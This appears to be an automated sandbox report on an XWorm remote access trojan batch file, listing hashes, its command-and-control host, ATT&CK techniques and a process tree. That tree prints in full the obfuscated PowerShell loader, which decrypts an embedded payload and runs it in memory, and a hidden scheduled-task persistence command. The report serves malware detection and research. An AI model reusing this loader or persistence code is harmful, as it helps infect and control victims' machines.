xworm | 5505e8491812e56bd27242f6598df665db7dfefef6a241280973913b84a903ed

Analysis

max time kernel
133s
max time network
146s
platform
windows10-1703_x64
resource
win10-20240404-en
resource tags

arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
submitted
07/06/2024, 09:09

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General

Target
Sahara.bat
Size 304KB
Sample240607-k4fz2afa92
SHA256 5505e8491812e56bd27242f6598df665db7dfefef6a241280973913b84a903ed
MD5 0315e971e239cdd0ddc7e6b6a69b588f
SHA1 ebc3c22a51878f367b9be9685d7782ec9f8daf58
SHA512 0b11a2f5f5ffed7c67812771464a8edd47440bf6ffb85d7a6d29cbc12f32af5a4f180cd3d479ba4268f16c96432538bdfb86cb36ff73877e69fd822aaa7e95c5
SSDEEP 6144:AKJ35IN40Z4VEzlQOwTEuAhKEyvXeNFAr47U8p7zZUEoPLoTVqrkGyAyaa/W8ymy:AKJpcW0cE3hGvXgAZAzDokTcMBaaO3my
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

xworm execution rat trojan

Malware Config

Extracted

Family

xworm

politics-cathedral.gl.at.ply.gg:13199

Attributes

install_file
USB.exe

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral1/memory/3300-113-0x0000024068C30000-0x0000024068C4A000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Blocklisted process makes network request 1 IoCs

flow	pid	Process
2	3300	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3632	powershell.exe
592	powershell.exe
3300	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-160447019-1232603106-4168707212-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
3632	powershell.exe
3632	powershell.exe
3632	powershell.exe
592	powershell.exe
592	powershell.exe
592	powershell.exe
3300	powershell.exe
3300	powershell.exe
3300	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3632	powershell.exe
Token: SeDebugPrivilege	592	powershell.exe
Token: SeIncreaseQuotaPrivilege	592	powershell.exe
Token: SeSecurityPrivilege	592	powershell.exe
Token: SeTakeOwnershipPrivilege	592	powershell.exe
Token: SeLoadDriverPrivilege	592	powershell.exe
Token: SeSystemProfilePrivilege	592	powershell.exe
Token: SeSystemtimePrivilege	592	powershell.exe
Token: SeProfSingleProcessPrivilege	592	powershell.exe
Token: SeIncBasePriorityPrivilege	592	powershell.exe
Token: SeCreatePagefilePrivilege	592	powershell.exe
Token: SeBackupPrivilege	592	powershell.exe
Token: SeRestorePrivilege	592	powershell.exe
Token: SeShutdownPrivilege	592	powershell.exe
Token: SeDebugPrivilege	592	powershell.exe
Token: SeSystemEnvironmentPrivilege	592	powershell.exe
Token: SeRemoteShutdownPrivilege	592	powershell.exe
Token: SeUndockPrivilege	592	powershell.exe
Token: SeManageVolumePrivilege	592	powershell.exe
Token: 33	592	powershell.exe
Token: 34	592	powershell.exe
Token: 35	592	powershell.exe
Token: 36	592	powershell.exe
Token: SeIncreaseQuotaPrivilege	592	powershell.exe
Token: SeSecurityPrivilege	592	powershell.exe
Token: SeTakeOwnershipPrivilege	592	powershell.exe
Token: SeLoadDriverPrivilege	592	powershell.exe
Token: SeSystemProfilePrivilege	592	powershell.exe
Token: SeSystemtimePrivilege	592	powershell.exe
Token: SeProfSingleProcessPrivilege	592	powershell.exe
Token: SeIncBasePriorityPrivilege	592	powershell.exe
Token: SeCreatePagefilePrivilege	592	powershell.exe
Token: SeBackupPrivilege	592	powershell.exe
Token: SeRestorePrivilege	592	powershell.exe
Token: SeShutdownPrivilege	592	powershell.exe
Token: SeDebugPrivilege	592	powershell.exe
Token: SeSystemEnvironmentPrivilege	592	powershell.exe
Token: SeRemoteShutdownPrivilege	592	powershell.exe
Token: SeUndockPrivilege	592	powershell.exe
Token: SeManageVolumePrivilege	592	powershell.exe
Token: 33	592	powershell.exe
Token: 34	592	powershell.exe
Token: 35	592	powershell.exe
Token: 36	592	powershell.exe
Token: SeIncreaseQuotaPrivilege	592	powershell.exe
Token: SeSecurityPrivilege	592	powershell.exe
Token: SeTakeOwnershipPrivilege	592	powershell.exe
Token: SeLoadDriverPrivilege	592	powershell.exe
Token: SeSystemProfilePrivilege	592	powershell.exe
Token: SeSystemtimePrivilege	592	powershell.exe
Token: SeProfSingleProcessPrivilege	592	powershell.exe
Token: SeIncBasePriorityPrivilege	592	powershell.exe
Token: SeCreatePagefilePrivilege	592	powershell.exe
Token: SeBackupPrivilege	592	powershell.exe
Token: SeRestorePrivilege	592	powershell.exe
Token: SeShutdownPrivilege	592	powershell.exe
Token: SeDebugPrivilege	592	powershell.exe
Token: SeSystemEnvironmentPrivilege	592	powershell.exe
Token: SeRemoteShutdownPrivilege	592	powershell.exe
Token: SeUndockPrivilege	592	powershell.exe
Token: SeManageVolumePrivilege	592	powershell.exe
Token: 33	592	powershell.exe
Token: 34	592	powershell.exe
Token: 35	592	powershell.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 3604 wrote to memory of 3632	3604	cmd.exe	74
PID 3604 wrote to memory of 3632	3604	cmd.exe	74
PID 3632 wrote to memory of 592	3632	powershell.exe	75
PID 3632 wrote to memory of 592	3632	powershell.exe	75
PID 3632 wrote to memory of 2152	3632	powershell.exe	78
PID 3632 wrote to memory of 2152	3632	powershell.exe	78
PID 2152 wrote to memory of 1444	2152	WScript.exe	79
PID 2152 wrote to memory of 1444	2152	WScript.exe	79
PID 1444 wrote to memory of 3300	1444	cmd.exe	81
PID 1444 wrote to memory of 3300	1444	cmd.exe	81

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Sahara.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3604
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('qqu4mOiag/SUfmMB6hLG+62Qf92QTsfQyXogUMpPguE='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('/gn9tedt3Eg5JrrOt3xo6g=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $KmtJB=New-Object System.IO.MemoryStream(,$param_var); $bbJvQ=New-Object System.IO.MemoryStream; $sqWeN=New-Object System.IO.Compression.GZipStream($KmtJB, [IO.Compression.CompressionMode]::Decompress); $sqWeN.CopyTo($bbJvQ); $sqWeN.Dispose(); $KmtJB.Dispose(); $bbJvQ.Dispose(); $bbJvQ.ToArray();}function execute_function($param_var,$param2_var){ $sUVBJ=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $tpSQd=$sUVBJ.EntryPoint; $tpSQd.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Sahara.bat';$poAvc=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Sahara.bat').Split([Environment]::NewLine);foreach ($bJGRI in $poAvc) { if ($bJGRI.StartsWith(':: ')) { $UJcon=$bJGRI.Substring(3); break; }}$payloads_var=[string[]]$UJcon.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3632
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_632_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_632.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:592
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_632.vbs"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2152
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_632.bat" "
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1444
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('qqu4mOiag/SUfmMB6hLG+62Qf92QTsfQyXogUMpPguE='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('/gn9tedt3Eg5JrrOt3xo6g=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $KmtJB=New-Object System.IO.MemoryStream(,$param_var); $bbJvQ=New-Object System.IO.MemoryStream; $sqWeN=New-Object System.IO.Compression.GZipStream($KmtJB, [IO.Compression.CompressionMode]::Decompress); $sqWeN.CopyTo($bbJvQ); $sqWeN.Dispose(); $KmtJB.Dispose(); $bbJvQ.Dispose(); $bbJvQ.ToArray();}function execute_function($param_var,$param2_var){ $sUVBJ=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $tpSQd=$sUVBJ.EntryPoint; $tpSQd.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_632.bat';$poAvc=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_632.bat').Split([Environment]::NewLine);foreach ($bJGRI in $poAvc) { if ($bJGRI.StartsWith(':: ')) { $UJcon=$bJGRI.Substring(3); break; }}$payloads_var=[string[]]$UJcon.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:3300

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 fdd7d9def6f9f0c0f2e60dbc8a2d1999071cd7d3095e9e087bb1cda7a614ac3c
MD5 8592ba100a78835a6b94d5949e13dfc1
SHA1 63e901200ab9a57c7dd4c078d7f75dcd3b357020
SHA512 87f98e6cb61b2a2a7d65710c4d33881d89715eb7a06e00d492259f35c3902498baabffc5886be0ec5a14312ad4c262e3fc40cd3a5cb91701af0fb229726b88c3
MD5 SHA1 SHA512

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 7a0e5fda0f4b068cd5dc8834d2b45a1102219e606098d0de27f6d331d14ef7c9
MD5 ab64146204d66061fe4c21f85f2c5716
SHA1 356e840a0baf272181fa336020201f53ecfd56d8
SHA512 50fb9c39b7b9ef62f06b8c8eace49734b1f3ce22a5e20eab2da342e2bdc12316b0f06ba12b09fcac0c53a39c606daced67605e67517e9e606fb639f9522b1913
MD5 SHA1 SHA512

Submit Download

__PSScriptPolicyTest_avvsjuxr.4m2.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_avvsjuxr.4m2.ps1
Size 1B
SHA256 6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
MD5 c4ca4238a0b923820dcc509a6f75849b
SHA1 356a192b7913b04c54574d18c28d46e6395428ab
SHA512 4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a
MD5 SHA1 SHA512

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startup_str_632.bat

Path C:\Users\Admin\AppData\Roaming\startup_str_632.bat
Size 304KB
SHA256 5505e8491812e56bd27242f6598df665db7dfefef6a241280973913b84a903ed
MD5 0315e971e239cdd0ddc7e6b6a69b588f
SHA1 ebc3c22a51878f367b9be9685d7782ec9f8daf58
SHA512 0b11a2f5f5ffed7c67812771464a8edd47440bf6ffb85d7a6d29cbc12f32af5a4f180cd3d479ba4268f16c96432538bdfb86cb36ff73877e69fd822aaa7e95c5
SSDEEP 6144:AKJ35IN40Z4VEzlQOwTEuAhKEyvXeNFAr47U8p7zZUEoPLoTVqrkGyAyaa/W8ymy:AKJpcW0cE3hGvXgAZAzDokTcMBaaO3my
MD5 SHA1 SHA512 SSDEEP

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startup_str_632.vbs

Path C:\Users\Admin\AppData\Roaming\startup_str_632.vbs
Size 115B
SHA256 4049c544dddfd7bd1b7214173f190b6312e8e9b4b4667d3d517d4b5502250cfd
MD5 16fbb83afd03cd6e0feb46530bf77882
SHA1 4634a5c1b2b6687c9140f3db11091740348a52f3
SHA512 eee9355efecd72014ae03b1e0fb9ace30bcb7073fe2c537b8f459c6fd06366d79a24e3d1407ed86a1823b4b1e8f8695e0dd291d7a99a4c29b870300535f41308
MD5 SHA1 SHA512

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memory/592-75-0x00007FFB689D0000-0x00007FFB693BC000-memory.dmp

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memory/592-44-0x00007FFB689D0000-0x00007FFB693BC000-memory.dmp

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memory/592-57-0x00007FFB689D0000-0x00007FFB693BC000-memory.dmp

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memory/592-43-0x00007FFB689D0000-0x00007FFB693BC000-memory.dmp

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memory/3300-113-0x0000024068C30000-0x0000024068C4A000-memory.dmp

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memory/3632-0-0x00007FFB689D3000-0x00007FFB689D4000-memory.dmp

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memory/3632-29-0x0000020C74F00000-0x0000020C74F3C000-memory.dmp

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memory/3632-27-0x00007FFB689D0000-0x00007FFB693BC000-memory.dmp

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memory/3632-14-0x00007FFB689D0000-0x00007FFB693BC000-memory.dmp

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memory/3632-10-0x00007FFB689D0000-0x00007FFB693BC000-memory.dmp

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memory/3632-11-0x0000020C74F70000-0x0000020C74FE6000-memory.dmp

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memory/3632-5-0x0000020C74A70000-0x0000020C74A92000-memory.dmp

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memory/3632-28-0x0000020C74EF0000-0x0000020C74EF8000-memory.dmp

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memory/3632-117-0x00007FFB689D0000-0x00007FFB693BC000-memory.dmp

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